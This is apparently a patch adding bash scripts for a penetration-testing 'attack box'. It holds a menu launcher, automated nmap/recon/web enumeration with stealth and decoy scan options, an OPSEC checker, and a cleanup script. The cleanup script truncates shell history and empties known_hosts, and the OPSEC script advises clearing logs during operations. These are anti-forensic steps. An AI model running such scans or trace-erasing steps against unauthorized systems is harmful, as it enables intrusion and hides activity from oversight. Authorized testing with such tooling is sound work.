find "$WORKSPACE" -name "*.json" -type f -exec cp {} "$REPORT_DIR/" \; 2>/dev/null
|
||||||
|
|
||||||
|
# Create summary report
|
||||||
|
cat > "$REPORT_DIR/summary_report.md" << EOF
|
||||||
|
# Manual Testing Report
|
||||||
|
**Generated:** $(date)
|
||||||
|
**Operator:** $(whoami)
|
||||||
|
|
||||||
|
## Engagement Summary
|
||||||
|
This report contains results from manual penetration testing activities.
|
||||||
|
|
||||||
|
## Files Included
|
||||||
|
$(ls -la "$REPORT_DIR" | grep -v "^total")
|
||||||
|
|
||||||
|
## Key Findings
|
||||||
|
- Review individual tool outputs for detailed findings
|
||||||
|
- Cross-reference results across multiple tools
|
||||||
|
- Validate findings manually before reporting
|
||||||
|
|
||||||
|
## Next Steps
|
||||||
|
1. Analyze all collected data
|
||||||
|
2. Prioritize findings by severity
|
||||||
|
3. Prepare client deliverables
|
||||||
|
4. Archive results securely
|
||||||
|
EOF
|
||||||
|
|
||||||
|
echo -e "${GREEN}[+] Report generated: $REPORT_DIR${NC}"
|
||||||
|
echo -e "${BLUE}[*] Press Enter to continue...${NC}"
|
||||||
|
read -r
|
||||||
|
}
|
||||||
|
|
||||||
|
# Main execution loop
|
||||||
|
main() {
|
||||||
|
while true; do
|
||||||
|
clear
|
||||||
|
show_banner
|
||||||
|
show_main_menu
|
||||||
|
read -r choice
|
||||||
|
|
||||||
|
case $choice in
|
||||||
|
1) recon_menu ;;
|
||||||
|
2) network_menu ;;
|
||||||
|
3) web_menu ;;
|
||||||
|
4) vuln_menu ;;
|
||||||
|
5) echo -e "${YELLOW}[*] Exploitation Framework - Launch Metasploit${NC}"; msfconsole ;;
|
||||||
|
6) echo -e "${YELLOW}[*] Post-Exploitation - Launch custom shells/tools${NC}"; sleep 2 ;;
|
||||||
|
7) echo -e "${YELLOW}[*] Password Attacks - Hydra, John, Hashcat${NC}"; sleep 2 ;;
|
||||||
|
8) echo -e "${YELLOW}[*] Wireless Testing - Aircrack-ng suite${NC}"; sleep 2 ;;
|
||||||
|
9) echo -e "${YELLOW}[*] Social Engineering - SET toolkit${NC}"; setoolkit ;;
|
||||||
|
10) echo -e "${YELLOW}[*] OSINT Tools - Various intelligence gathering tools${NC}"; sleep 2 ;;
|
||||||
|
11) echo -e "${YELLOW}[*] Custom Scripts - Run user-defined scripts${NC}"; sleep 2 ;;
|
||||||
|
12) tool_status ;;
|
||||||
|
13) generate_reports ;;
|
||||||
|
0) echo -e "${GREEN}[+] Goodbye!${NC}"; exit 0 ;;
|
||||||
|
*) echo -e "${RED}Invalid option! Please try again.${NC}"; sleep 2 ;;
|
||||||
|
esac
|
||||||
|
done
|
||||||
|
}
|
||||||
|
|
||||||
|
# Check if running as root
|
||||||
|
if [[ $EUID -eq 0 ]]; then
|
||||||
|
echo -e "${YELLOW}[!] Running as root - be careful!${NC}"
|
||||||
|
sleep 2
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Create operator structure if it doesn't exist
|
||||||
|
mkdir -p "/root/operator/"{tools,scans,logs,loot,payloads,targets,screenshots,reports,notes,exploits,wordlists,pcaps}
|
||||||
|
|
||||||
|
# Start the main menu
|
||||||
|
main
|
||||||
Executable
+118
@@ -0,0 +1,118 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
# OPSEC Status Check Script
|
||||||
|
# Monitors operational security status for red team operations
|
||||||
|
|
||||||
|
RED='\033[0;31m'
|
||||||
|
GREEN='\033[0;32m'
|
||||||
|
YELLOW='\033[1;33m'
|
||||||
|
BLUE='\033[0;34m'
|
||||||
|
NC='\033[0m' # No Color
|
||||||
|
|
||||||
|
echo -e "${BLUE}=== OPERATIONAL SECURITY STATUS ===${NC}"
|
||||||
|
echo ""
|
||||||
|
|
||||||
|
# Check VPN Status
|
||||||
|
echo -e "${BLUE}[*] VPN Status:${NC}"
|
||||||
|
if pgrep openvpn > /dev/null 2>&1; then
|
||||||
|
echo -e "${GREEN} ✓ OpenVPN is running${NC}"
|
||||||
|
VPN_INTERFACES=$(ip link show | grep -E "tun|tap" | awk -F: '{print $2}' | xargs)
|
||||||
|
if [ ! -z "$VPN_INTERFACES" ]; then
|
||||||
|
echo -e "${GREEN} ✓ VPN interfaces active: $VPN_INTERFACES${NC}"
|
||||||
|
fi
|
||||||
|
else
|
||||||
|
echo -e "${RED} ✗ OpenVPN not detected${NC}"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Check Tor Status
|
||||||
|
echo -e "\n${BLUE}[*] Tor Status:${NC}"
|
||||||
|
if systemctl is-active tor >/dev/null 2>&1; then
|
||||||
|
echo -e "${GREEN} ✓ Tor service is active${NC}"
|
||||||
|
if netstat -tuln 2>/dev/null | grep -q ":9050"; then
|
||||||
|
echo -e "${GREEN} ✓ SOCKS proxy listening on 9050${NC}"
|
||||||
|
fi
|
||||||
|
else
|
||||||
|
echo -e "${YELLOW} - Tor service not active${NC}"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Check External IP
|
||||||
|
echo -e "\n${BLUE}[*] External IP Check:${NC}"
|
||||||
|
EXTERNAL_IP=$(curl -s --max-time 5 ifconfig.me 2>/dev/null)
|
||||||
|
if [ ! -z "$EXTERNAL_IP" ]; then
|
||||||
|
echo -e "${GREEN} ✓ External IP: $EXTERNAL_IP${NC}"
|
||||||
|
else
|
||||||
|
echo -e "${RED} ✗ Could not determine external IP${NC}"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Check DNS
|
||||||
|
echo -e "\n${BLUE}[*] DNS Configuration:${NC}"
|
||||||
|
DNS_SERVERS=$(cat /etc/resolv.conf | grep nameserver | awk '{print $2}' | xargs)
|
||||||
|
echo -e "${GREEN} ✓ DNS servers: $DNS_SERVERS${NC}"
|
||||||
|
|
||||||
|
# Check for DNS leaks
|
||||||
|
echo -e "\n${BLUE}[*] DNS Leak Test:${NC}"
|
||||||
|
DNS_LEAK=$(dig +short myip.opendns.com @resolver1.opendns.com 2>/dev/null)
|
||||||
|
if [ ! -z "$DNS_LEAK" ]; then
|
||||||
|
if [ "$DNS_LEAK" = "$EXTERNAL_IP" ]; then
|
||||||
|
echo -e "${GREEN} ✓ No DNS leak detected${NC}"
|
||||||
|
else
|
||||||
|
echo -e "${YELLOW} ! Potential DNS leak: $DNS_LEAK vs $EXTERNAL_IP${NC}"
|
||||||
|
fi
|
||||||
|
else
|
||||||
|
echo -e "${YELLOW} - DNS leak test failed${NC}"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Check Active Connections
|
||||||
|
echo -e "\n${BLUE}[*] Active Network Connections:${NC}"
|
||||||
|
ACTIVE_CONS=$(ss -tupln 2>/dev/null | grep -E "LISTEN|ESTAB" | wc -l)
|
||||||
|
echo -e "${GREEN} ✓ $ACTIVE_CONS active connections${NC}"
|
||||||
|
|
||||||
|
# Check Suspicious Processes
|
||||||
|
echo -e "\n${BLUE}[*] Process Security Check:${NC}"
|
||||||
|
SUSPICIOUS_PROCS=$(ps aux | grep -iE "wireshark|tcpdump|ettercap" | grep -v grep | wc -l)
|
||||||
|
if [ $SUSPICIOUS_PROCS -gt 0 ]; then
|
||||||
|
echo -e "${YELLOW} ! $SUSPICIOUS_PROCS monitoring processes detected${NC}"
|
||||||
|
else
|
||||||
|
echo -e "${GREEN} ✓ No obvious monitoring processes${NC}"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Check SSH Keys
|
||||||
|
echo -e "\n${BLUE}[*] SSH Key Security:${NC}"
|
||||||
|
SSH_KEYS=$(find ~/.ssh -name "*.pub" 2>/dev/null | wc -l)
|
||||||
|
echo -e "${GREEN} ✓ $SSH_KEYS SSH public keys found${NC}"
|
||||||
|
|
||||||
|
# Check System Logs
|
||||||
|
echo -e "\n${BLUE}[*] Log Security:${NC}"
|
||||||
|
AUTH_LOG_SIZE=$(wc -l /var/log/auth.log 2>/dev/null | awk '{print $1}')
|
||||||
|
if [ ! -z "$AUTH_LOG_SIZE" ]; then
|
||||||
|
echo -e "${GREEN} ✓ Auth log has $AUTH_LOG_SIZE entries${NC}"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Check Firewall Status
|
||||||
|
echo -e "\n${BLUE}[*] Firewall Status:${NC}"
|
||||||
|
if command -v ufw >/dev/null 2>&1; then
|
||||||
|
UFW_STATUS=$(ufw status 2>/dev/null | head -1)
|
||||||
|
echo -e "${GREEN} ✓ UFW: $UFW_STATUS${NC}"
|
||||||
|
fi
|
||||||
|
|
||||||
|
if command -v iptables >/dev/null 2>&1; then
|
||||||
|
IPTABLES_RULES=$(iptables -L 2>/dev/null | grep -c "Chain")
|
||||||
|
echo -e "${GREEN} ✓ iptables: $IPTABLES_RULES chains configured${NC}"
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo ""
|
||||||
|
echo -e "${BLUE}=== OPSEC CHECK COMPLETE ===${NC}"
|
||||||
|
echo ""
|
||||||
|
|
||||||
|
# Provide recommendations based on findings
|
||||||
|
echo -e "${BLUE}[*] Recommendations:${NC}"
|
||||||
|
if ! pgrep openvpn > /dev/null 2>&1; then
|
||||||
|
echo -e "${YELLOW} • Consider using VPN for enhanced anonymity${NC}"
|
||||||
|
fi
|
||||||
|
|
||||||
|
if ! systemctl is-active tor >/dev/null 2>&1; then
|
||||||
|
echo -e "${YELLOW} • Consider enabling Tor for additional anonymity${NC}"
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo -e "${GREEN} • Regularly monitor external IP changes${NC}"
|
||||||
|
echo -e "${GREEN} • Clear logs periodically during operations${NC}"
|
||||||
|
echo -e "${GREEN} • Use proxychains for sensitive network operations${NC}"
|
||||||
+153
@@ -0,0 +1,153 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
# Automated Port Scanning Script for Attack Box
|
||||||
|
# Usage: ./port_scan_automation.sh <target> [quick|full|stealth]
|
||||||
|
|
||||||
|
set -e
|
||||||
|
|
||||||
|
if [ $# -eq 0 ]; then
|
||||||
|
echo "Usage: $0 <target> [quick|full|stealth]"
|
||||||
|
echo "Example: $0 192.168.1.1 full"
|
||||||
|
echo " $0 example.com quick"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
TARGET="$1"
|
||||||
|
SCAN_TYPE="${2:-quick}"
|
||||||
|
WORKSPACE="/root/operator/scans/nmap/$TARGET"
|
||||||
|
DATE=$(date +%Y%m%d_%H%M%S)
|
||||||
|
|
||||||
|
# Colors for output
|
||||||
|
RED='\033[0;31m'
|
||||||
|
GREEN='\033[0;32m'
|
||||||
|
YELLOW='\033[1;33m'
|
||||||
|
BLUE='\033[0;34m'
|
||||||
|
NC='\033[0m' # No Color
|
||||||
|
|
||||||
|
echo -e "${GREEN}[+] Starting port scan for: $TARGET${NC}"
|
||||||
|
echo -e "${BLUE}[*] Scan type: $SCAN_TYPE${NC}"
|
||||||
|
|
||||||
|
# Create workspace
|
||||||
|
mkdir -p "$WORKSPACE"
|
||||||
|
cd "$WORKSPACE"
|
||||||
|
|
||||||
|
# Create log file
|
||||||
|
LOG_FILE="portscan_$DATE.log"
|
||||||
|
echo "Port scan started at $(date)" > "$LOG_FILE"
|
||||||
|
|
||||||
|
# Function to log and execute
|
||||||
|
log_and_run() {
|
||||||
|
echo -e "${YELLOW}[*] $1${NC}"
|
||||||
|
echo "[$(date)] $1" >> "$LOG_FILE"
|
||||||
|
eval "$2" 2>&1 | tee -a "$LOG_FILE"
|
||||||
|
}
|
||||||
|
|
||||||
|
case $SCAN_TYPE in
|
||||||
|
"quick")
|
||||||
|
echo -e "${GREEN}[+] Quick Port Scan (Top 1000 ports)${NC}"
|
||||||
|
log_and_run "Nmap quick scan" "nmap -T4 -F $TARGET -oA nmap_quick_$DATE"
|
||||||
|
log_and_run "Rustscan quick" "rustscan -a $TARGET --ulimit 5000 -- -A"
|
||||||
|
;;
|
||||||
|
|
||||||
|
"full")
|
||||||
|
echo -e "${GREEN}[+] Full Port Scan (All 65535 ports)${NC}"
|
||||||
|
log_and_run "Nmap SYN scan all ports" "nmap -sS -T4 -p- $TARGET -oA nmap_syn_all_$DATE"
|
||||||
|
log_and_run "Nmap service detection on open ports" "nmap -sV -sC -T4 $TARGET -oA nmap_services_$DATE"
|
||||||
|
log_and_run "Nmap UDP scan top ports" "nmap -sU --top-ports 1000 $TARGET -oA nmap_udp_$DATE"
|
||||||
|
log_and_run "Masscan all ports" "masscan -p1-65535 $TARGET --rate=1000 -e tun0 2>/dev/null || echo 'Masscan failed - check interface'"
|
||||||
|
;;
|
||||||
|
|
||||||
|
"stealth")
|
||||||
|
echo -e "${GREEN}[+] Stealth Port Scan${NC}"
|
||||||
|
log_and_run "Nmap stealth SYN scan" "nmap -sS -T2 -f --source-port 53 $TARGET -oA nmap_stealth_$DATE"
|
||||||
|
log_and_run "Nmap decoy scan" "nmap -D RND:10 -T2 $TARGET -oA nmap_decoy_$DATE"
|
||||||
|
;;
|
||||||
|
|
||||||
|
*)
|
||||||
|
echo -e "${RED}[-] Invalid scan type. Use: quick, full, or stealth${NC}"
|
||||||
|
exit 1
|
||||||
|
;;
|
||||||
|
esac
|
||||||
|
|
||||||
|
# Additional enumeration for common services
|
||||||
|
echo -e "${GREEN}[+] Service-specific enumeration${NC}"
|
||||||
|
|
||||||
|
# Check for common vulnerabilities
|
||||||
|
log_and_run "Nmap vulnerability scripts" "nmap --script vuln $TARGET -oA nmap_vulns_$DATE"
|
||||||
|
|
||||||
|
# Extract open ports for further enumeration
|
||||||
|
if [ -f "nmap_*.gnmap" ]; then
|
||||||
|
OPEN_PORTS=$(grep "open" nmap_*.gnmap | grep -oP '\d+/open' | cut -d'/' -f1 | sort -n | uniq | tr '\n' ',')
|
||||||
|
echo -e "${BLUE}[*] Open ports found: $OPEN_PORTS${NC}"
|
||||||
|
|
||||||
|
# Service-specific scans
|
||||||
|
if echo "$OPEN_PORTS" | grep -q "21"; then
|
||||||
|
log_and_run "FTP enumeration" "nmap --script ftp-* -p 21 $TARGET"
|
||||||
|
fi
|
||||||
|
|
||||||
|
if echo "$OPEN_PORTS" | grep -q "22"; then
|
||||||
|
log_and_run "SSH enumeration" "nmap --script ssh-* -p 22 $TARGET"
|
||||||
|
fi
|
||||||
|
|
||||||
|
if echo "$OPEN_PORTS" | grep -q "53"; then
|
||||||
|
log_and_run "DNS enumeration" "nmap --script dns-* -p 53 $TARGET"
|
||||||
|
if command -v dig &> /dev/null; then
|
||||||
|
log_and_run "DNS zone transfer attempt" "dig @$TARGET axfr"
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
|
||||||
|
if echo "$OPEN_PORTS" | grep -E "(80|443|8080|8443)" &> /dev/null; then
|
||||||
|
log_and_run "HTTP enumeration" "nmap --script http-* -p 80,443,8080,8443 $TARGET"
|
||||||
|
fi
|
||||||
|
|
||||||
|
if echo "$OPEN_PORTS" | grep -q "139\|445"; then
|
||||||
|
log_and_run "SMB enumeration" "nmap --script smb-* -p 139,445 $TARGET"
|
||||||
|
if command -v enum4linux &> /dev/null; then
|
||||||
|
log_and_run "enum4linux scan" "enum4linux $TARGET"
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
|
||||||
|
if echo "$OPEN_PORTS" | grep -q "1433"; then
|
||||||
|
log_and_run "MSSQL enumeration" "nmap --script ms-sql-* -p 1433 $TARGET"
|
||||||
|
fi
|
||||||
|
|
||||||
|
if echo "$OPEN_PORTS" | grep -q "3306"; then
|
||||||
|
log_and_run "MySQL enumeration" "nmap --script mysql-* -p 3306 $TARGET"
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Generate summary
|
||||||
|
echo -e "${GREEN}[+] Port Scan Complete!${NC}"
|
||||||
|
echo -e "${BLUE}[*] Results saved in: $WORKSPACE${NC}"
|
||||||
|
echo -e "${BLUE}[*] Log file: $LOG_FILE${NC}"
|
||||||
|
|
||||||
|
# Count open ports
|
||||||
|
if ls nmap_*.gnmap 1> /dev/null 2>&1; then
|
||||||
|
TOTAL_OPEN=$(grep -h "open" nmap_*.gnmap | wc -l)
|
||||||
|
echo -e "${BLUE}[*] Total open ports found: $TOTAL_OPEN${NC}"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Generate simple report
|
||||||
|
cat > "portscan_report.txt" << EOF
|
||||||
|
Port Scan Report for $TARGET
|
||||||
|
=============================
|
||||||
|
Scan Type: $SCAN_TYPE
|
||||||
|
Date: $(date)
|
||||||
|
Workspace: $WORKSPACE
|
||||||
|
|
||||||
|
Open Ports:
|
||||||
|
$(grep -h "open" nmap_*.gnmap 2>/dev/null | head -20 || echo "No open ports found in gnmap files")
|
||||||
|
|
||||||
|
Summary:
|
||||||
|
- Scan completed successfully
|
||||||
|
- Results saved in multiple formats (.nmap, .xml, .gnmap)
|
||||||
|
- Log file: $LOG_FILE
|
||||||
|
|
||||||
|
Next Steps:
|
||||||
|
1. Review service versions for known vulnerabilities
|
||||||
|
2. Run targeted service enumeration
|
||||||
|
3. Check for default credentials
|
||||||
|
4. Look for misconfigurations
|
||||||
|
EOF
|
||||||
|
|
||||||
|
echo -e "${GREEN}[+] Report generated: portscan_report.txt${NC}"
|
||||||
|
echo "Port scan completed at $(date)" >> "$LOG_FILE"
|
||||||
Executable
+123
@@ -0,0 +1,123 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
# Automated Reconnaissance Script for Attack Box
|
||||||
|
# Usage: ./recon_automation.sh <target_domain>
|
||||||
|
|
||||||
|
set -e
|
||||||
|
|
||||||
|
if [ $# -eq 0 ]; then
|
||||||
|
echo "Usage: $0 <target_domain>"
|
||||||
|
echo "Example: $0 example.com"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
TARGET="$1"
|
||||||
|
WORKSPACE="/root/operator/scans/reachability/$TARGET"
|
||||||
|
DATE=$(date +%Y%m%d_%H%M%S)
|
||||||
|
|
||||||
|
# Colors for output
|
||||||
|
RED='\033[0;31m'
|
||||||
|
GREEN='\033[0;32m'
|
||||||
|
YELLOW='\033[1;33m'
|
||||||
|
BLUE='\033[0;34m'
|
||||||
|
NC='\033[0m' # No Color
|
||||||
|
|
||||||
|
echo -e "${GREEN}[+] Starting reconnaissance for: $TARGET${NC}"
|
||||||
|
echo -e "${BLUE}[*] Creating workspace directory: $WORKSPACE${NC}"
|
||||||
|
|
||||||
|
# Create workspace
|
||||||
|
mkdir -p "$WORKSPACE"
|
||||||
|
cd "$WORKSPACE"
|
||||||
|
|
||||||
|
# Create log file
|
||||||
|
LOG_FILE="recon_$DATE.log"
|
||||||
|
echo "Reconnaissance started at $(date)" > "$LOG_FILE"
|
||||||
|
|
||||||
|
# Function to log and execute
|
||||||
|
log_and_run() {
|
||||||
|
echo -e "${YELLOW}[*] $1${NC}"
|
||||||
|
echo "[$(date)] $1" >> "$LOG_FILE"
|
||||||
|
eval "$2" 2>&1 | tee -a "$LOG_FILE"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Subdomain enumeration
|
||||||
|
echo -e "${GREEN}[+] Phase 1: Subdomain Enumeration${NC}"
|
||||||
|
log_and_run "Running Subfinder" "subfinder -d $TARGET -o subdomains_subfinder.txt"
|
||||||
|
log_and_run "Running Assetfinder" "assetfinder --subs-only $TARGET > subdomains_assetfinder.txt"
|
||||||
|
log_and_run "Running Amass" "amass enum -passive -d $TARGET -o subdomains_amass.txt"
|
||||||
|
|
||||||
|
# Combine and deduplicate subdomains
|
||||||
|
log_and_run "Combining subdomain lists" "cat subdomains_*.txt | sort -u > all_subdomains.txt"
|
||||||
|
|
||||||
|
# Check which subdomains are alive
|
||||||
|
echo -e "${GREEN}[+] Phase 2: Checking Live Subdomains${NC}"
|
||||||
|
log_and_run "Checking live subdomains with httprobe" "cat all_subdomains.txt | httprobe -c 50 > live_subdomains.txt"
|
||||||
|
|
||||||
|
# Port scanning on live subdomains
|
||||||
|
echo -e "${GREEN}[+] Phase 3: Port Scanning${NC}"
|
||||||
|
log_and_run "Running Nmap on live subdomains" "nmap -T4 -iL live_subdomains.txt -oA nmap_scan"
|
||||||
|
|
||||||
|
# Web technology detection
|
||||||
|
echo -e "${GREEN}[+] Phase 4: Web Technology Detection${NC}"
|
||||||
|
log_and_run "Running whatweb" "whatweb -i live_subdomains.txt -a 3 > whatweb_results.txt"
|
||||||
|
|
||||||
|
# Screenshot and visual recon
|
||||||
|
echo -e "${GREEN}[+] Phase 5: Visual Reconnaissance${NC}"
|
||||||
|
if command -v aquatone &> /dev/null; then
|
||||||
|
log_and_run "Taking screenshots with Aquatone" "cat live_subdomains.txt | aquatone -out aquatone_report"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Directory bruteforcing
|
||||||
|
echo -e "${GREEN}[+] Phase 6: Directory Enumeration${NC}"
|
||||||
|
mkdir -p directory_enum
|
||||||
|
while IFS= read -r url; do
|
||||||
|
if [[ $url == http* ]]; then
|
||||||
|
clean_url=$(echo "$url" | sed 's|http://||g' | sed 's|https://||g' | tr '/' '_')
|
||||||
|
log_and_run "Running gobuster on $url" "gobuster dir -u $url -w /usr/share/wordlists/dirb/common.txt -o directory_enum/gobuster_$clean_url.txt -q"
|
||||||
|
fi
|
||||||
|
done < live_subdomains.txt
|
||||||
|
|
||||||
|
# Vulnerability scanning with Nuclei
|
||||||
|
echo -e "${GREEN}[+] Phase 7: Vulnerability Scanning${NC}"
|
||||||
|
log_and_run "Running Nuclei" "nuclei -l live_subdomains.txt -t ~/nuclei-templates/ -o nuclei_results.txt"
|
||||||
|
|
||||||
|
# Summary
|
||||||
|
echo -e "${GREEN}[+] Reconnaissance Complete!${NC}"
|
||||||
|
echo -e "${BLUE}[*] Results saved in: $WORKSPACE${NC}"
|
||||||
|
echo -e "${BLUE}[*] Total subdomains found: $(wc -l < all_subdomains.txt)${NC}"
|
||||||
|
echo -e "${BLUE}[*] Live subdomains: $(wc -l < live_subdomains.txt)${NC}"
|
||||||
|
echo -e "${BLUE}[*] Log file: $LOG_FILE${NC}"
|
||||||
|
|
||||||
|
# Generate simple HTML report
|
||||||
|
cat > "recon_report.html" << EOF
|
||||||
|
<!DOCTYPE html>
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<title>Reconnaissance Report - $TARGET</title>
|
||||||
|
<style>
|
||||||
|
body { font-family: Arial, sans-serif; margin: 40px; }
|
||||||
|
h1 { color: #333; }
|
||||||
|
h2 { color: #666; }
|
||||||
|
.stats { background: #f0f0f0; padding: 10px; margin: 10px 0; }
|
||||||
|
pre { background: #f8f8f8; padding: 10px; overflow-x: auto; }
|
||||||
|
</style>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<h1>Reconnaissance Report for $TARGET</h1>
|
||||||
|
<div class="stats">
|
||||||
|
<h2>Statistics</h2>
|
||||||
|
<p>Total Subdomains Found: $(wc -l < all_subdomains.txt)</p>
|
||||||
|
<p>Live Subdomains: $(wc -l < live_subdomains.txt)</p>
|
||||||
|
<p>Scan Date: $(date)</p>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<h2>Live Subdomains</h2>
|
||||||
|
<pre>$(cat live_subdomains.txt)</pre>
|
||||||
|
|
||||||
|
<h2>Port Scan Results</h2>
|
||||||
|
<pre>$(cat nmap_scan.nmap 2>/dev/null || echo "Nmap results not available")</pre>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
EOF
|
||||||
|
|
||||||
|
echo -e "${GREEN}[+] HTML report generated: recon_report.html${NC}"
|
||||||
|
echo "Reconnaissance completed at $(date)" >> "$LOG_FILE"
|
||||||
Executable
+93
@@ -0,0 +1,93 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
# Trash Cleanup Script
|
||||||
|
# Safely removes operational artifacts and cleans system
|
||||||
|
|
||||||
|
GREEN='\033[0;32m'
|
||||||
|
YELLOW='\033[1;33m'
|
||||||
|
BLUE='\033[0;34m'
|
||||||
|
NC='\033[0m'
|
||||||
|
|
||||||
|
echo -e "${BLUE}=== OPERATIONAL CLEANUP ===${NC}"
|
||||||
|
echo ""
|
||||||
|
|
||||||
|
# Get working directory
|
||||||
|
if [ -n "$1" ]; then
|
||||||
|
WORK_DIR="$1"
|
||||||
|
else
|
||||||
|
# Auto-detect working directory
|
||||||
|
if [ -d "/root/operator" ]; then
|
||||||
|
WORK_DIR="/root/operator"
|
||||||
|
else
|
||||||
|
# Find deployment-named directory
|
||||||
|
WORK_DIR=$(find /root -maxdepth 1 -type d -name "*[a-z]*[a-z]*" 2>/dev/null | head -1)
|
||||||
|
if [ -z "$WORK_DIR" ]; then
|
||||||
|
WORK_DIR="/root"
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo -e "${BLUE}[*] Working directory: $WORK_DIR${NC}"
|
||||||
|
|
||||||
|
# Clean scan results older than 7 days
|
||||||
|
if [ -d "$WORK_DIR/scans" ]; then
|
||||||
|
echo -e "${YELLOW}[*] Cleaning old scan results (>7 days)${NC}"
|
||||||
|
find "$WORK_DIR/scans" -type f -mtime +7 -name "*.xml" -delete 2>/dev/null
|
||||||
|
find "$WORK_DIR/scans" -type f -mtime +7 -name "*.txt" -delete 2>/dev/null
|
||||||
|
find "$WORK_DIR/scans" -type f -mtime +7 -name "*.log" -delete 2>/dev/null
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Clean temporary loot
|
||||||
|
if [ -d "$WORK_DIR/loot" ]; then
|
||||||
|
echo -e "${YELLOW}[*] Cleaning temporary loot files${NC}"
|
||||||
|
find "$WORK_DIR/loot" -name "*.tmp" -delete 2>/dev/null
|
||||||
|
find "$WORK_DIR/loot" -name "temp_*" -delete 2>/dev/null
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Clean logs older than 30 days
|
||||||
|
if [ -d "$WORK_DIR/logs" ]; then
|
||||||
|
echo -e "${YELLOW}[*] Cleaning old logs (>30 days)${NC}"
|
||||||
|
find "$WORK_DIR/logs" -type f -mtime +30 -delete 2>/dev/null
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Clean empty directories
|
||||||
|
echo -e "${YELLOW}[*] Removing empty directories${NC}"
|
||||||
|
find "$WORK_DIR" -type d -empty -delete 2>/dev/null
|
||||||
|
|
||||||
|
# Clean system temp files
|
||||||
|
echo -e "${YELLOW}[*] Cleaning system temporary files${NC}"
|
||||||
|
rm -f /tmp/nmap_* 2>/dev/null
|
||||||
|
rm -f /tmp/scan_* 2>/dev/null
|
||||||
|
rm -f /tmp/exploit_* 2>/dev/null
|
||||||
|
rm -f /tmp/*.tmp 2>/dev/null
|
||||||
|
|
||||||
|
# Rotate command history
|
||||||
|
echo -e "${YELLOW}[*] Rotating command history${NC}"
|
||||||
|
if [ -f ~/.bash_history ]; then
|
||||||
|
tail -n 100 ~/.bash_history > /tmp/hist_tmp && mv /tmp/hist_tmp ~/.bash_history
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Clean network artifacts
|
||||||
|
echo -e "${YELLOW}[*] Clearing network artifacts${NC}"
|
||||||
|
> ~/.ssh/known_hosts
|
||||||
|
|
||||||
|
# Update file permissions
|
||||||
|
echo -e "${YELLOW}[*] Updating file permissions${NC}"
|
||||||
|
if [ -d "$WORK_DIR" ]; then
|
||||||
|
chmod -R 750 "$WORK_DIR" 2>/dev/null
|
||||||
|
find "$WORK_DIR" -name "*.sh" -exec chmod +x {} \; 2>/dev/null
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Compress old files
|
||||||
|
echo -e "${YELLOW}[*] Compressing old files${NC}"
|
||||||
|
if [ -d "$WORK_DIR/reports" ]; then
|
||||||
|
find "$WORK_DIR/reports" -name "*.txt" -mtime +7 -exec gzip {} \; 2>/dev/null
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo ""
|
||||||
|
echo -e "${GREEN}=== CLEANUP COMPLETE ===${NC}"
|
||||||
|
echo -e "${BLUE}Summary:${NC}"
|
||||||
|
echo -e "${GREEN} ✓ Old scan results cleaned${NC}"
|
||||||
|
echo -e "${GREEN} ✓ Temporary files removed${NC}"
|
||||||
|
echo -e "${GREEN} ✓ Logs rotated${NC}"
|
||||||
|
echo -e "${GREEN} ✓ Permissions updated${NC}"
|
||||||
|
echo -e "${GREEN} ✓ Network artifacts cleared${NC}"
|
||||||
File diff suppressed because it is too large
Load Diff
+230
@@ -0,0 +1,230 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
# Web Application Enumeration Script for Attack Box
|
||||||
|
# Usage: ./web_enum_automation.sh <target_url>
|
||||||
|
|
||||||
|
set -e
|
||||||
|
|
||||||
|
if [ $# -eq 0 ]; then
|
||||||
|
echo "Usage: $0 <target_url>"
|
||||||
|
echo "Example: $0 https://example.com"
|
||||||
|
echo " $0 http://192.168.1.100:8080"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
TARGET_URL="$1"
|
||||||
|
# Extract domain/IP for workspace naming
|
||||||
|
TARGET_CLEAN=$(echo "$TARGET_URL" | sed 's|https\?://||g' | sed 's|/.*||g' | tr ':' '_')
|
||||||
|
WORKSPACE="/root/operator/scans/web/$TARGET_CLEAN"
|
||||||
|
DATE=$(date +%Y%m%d_%H%M%S)
|
||||||
|
|
||||||
|
# Colors for output
|
||||||
|
RED='\033[0;31m'
|
||||||
|
GREEN='\033[0;32m'
|
||||||
|
YELLOW='\033[1;33m'
|
||||||
|
BLUE='\033[0;34m'
|
||||||
|
NC='\033[0m' # No Color
|
||||||
|
|
||||||
|
echo -e "${GREEN}[+] Starting web enumeration for: $TARGET_URL${NC}"
|
||||||
|
|
||||||
|
# Create workspace
|
||||||
|
mkdir -p "$WORKSPACE"
|
||||||
|
cd "$WORKSPACE"
|
||||||
|
|
||||||
|
# Create log file
|
||||||
|
LOG_FILE="web_enum_$DATE.log"
|
||||||
|
